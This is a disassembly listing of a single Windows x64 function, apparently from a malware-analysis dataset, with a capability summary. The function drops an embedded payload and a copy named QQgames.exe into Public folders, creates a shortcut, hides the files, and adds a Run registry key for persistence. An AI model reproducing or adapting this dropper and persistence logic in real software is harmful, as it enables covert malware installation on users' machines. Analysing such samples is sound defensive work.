Function at 0x180006900
Capabilities:
Check if file exists
Copy file
Create shortcut via ishelllink
Get file attributes
Persist via run registry key
Query or enumerate registry value
Set file attributes
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
lea r8d, [r12 + 0x19]
lea rdx, str.C:UsersPublicDocuments
lea rcx, [rbp + 0x40]
call fcn.18000c320
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.180005ee0
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180006999
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r8d, 0xf
lea rdx, [0x180044db0]
lea rcx, [rbp + 0x20]
call fcn.18000c320
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180006420
nop
mov r14, qword [rsp + 0x50]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x1800070f8
lea r15, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova r15, qword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rsi, [r14 + 1]
mov ebx, 7
lea rdi, [rbp - 0x20]
cmp rsi, rbx
jbe 0x180006ab3
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x180006a42
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x180006a71
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x18000710a
add rcx, rcx
cmp rcx, 0x1000
jb 0x180006a9d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000710a
mov rcx, rax
call fcn.180011a1c
test rax, rax
je 0x1800070fe
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180006aaf
test rcx, rcx
je 0x180006aac
call fcn.180011a1c
mov rdi, rax
jmp 0x180006aaf
mov rdi, r12
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.180035bc0
mov word [rbx + rdi], 0x5c
mov word [rdi + rsi*2], r12w
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.18000b2c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x180006b61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007104
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r12w
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp]
call fcn.18000c320
nop
lea rcx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rcx, qword [rbp]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x2b0]
mov r8d, 0x16850
lea rdx, [0x180108550]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.180006690
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r9, [0x180039540]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x180039560]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180006cd6
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
lea r8, [rbp + 0x2c0]
lea rdx, [0x180039550]
call qword [rax]
test eax, eax
js 0x180006cc9
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rdx, qword [rbp - 0x40]
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rbx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rbx, qword [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180006d06
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rbx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180006d30
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rbx, qword [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180006d5a
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180008e80
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180006e6f
mov dword [rbp + 0x2b0], 0x208
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180044d60]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180006e1b
lea r8, [rsp + 0x60]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x78]
cmp r11, 7
cmova r8, r10
lea rax, [rbp + 0x60]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180006e08
add rax, 2
test ecx, ecx
jne 0x180006df4
test edx, edx
je 0x180006e62
lea rcx, [rsp + 0x60]
cmp r11, 7
cmova rcx, r10
jmp 0x180006e31
cmp eax, 2
jne 0x180006e62
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
mov eax, dword [rsp + 0x70]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, [0x180044d60]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180006eb1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006eac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007110
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r12w
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180006f05
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007116
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r12w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x180006f57
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000711c
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r12w
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x180006fa9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006fa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007122
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180006ffb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007128
call fcn.180011a14
movdqa xmm0, xmmword [0x180044fb0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r12w
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x18000704e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000712e
call fcn.180011a14
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x180007090
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000708b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007134
call fcn.180011a14
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x1800070e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800070db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800070f2
call fcn.180011a14
add rsp, 0x370
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180020764
nop
call fcn.180004350
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.1800042b0
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.180020764
nop
call fcn.180020764
int3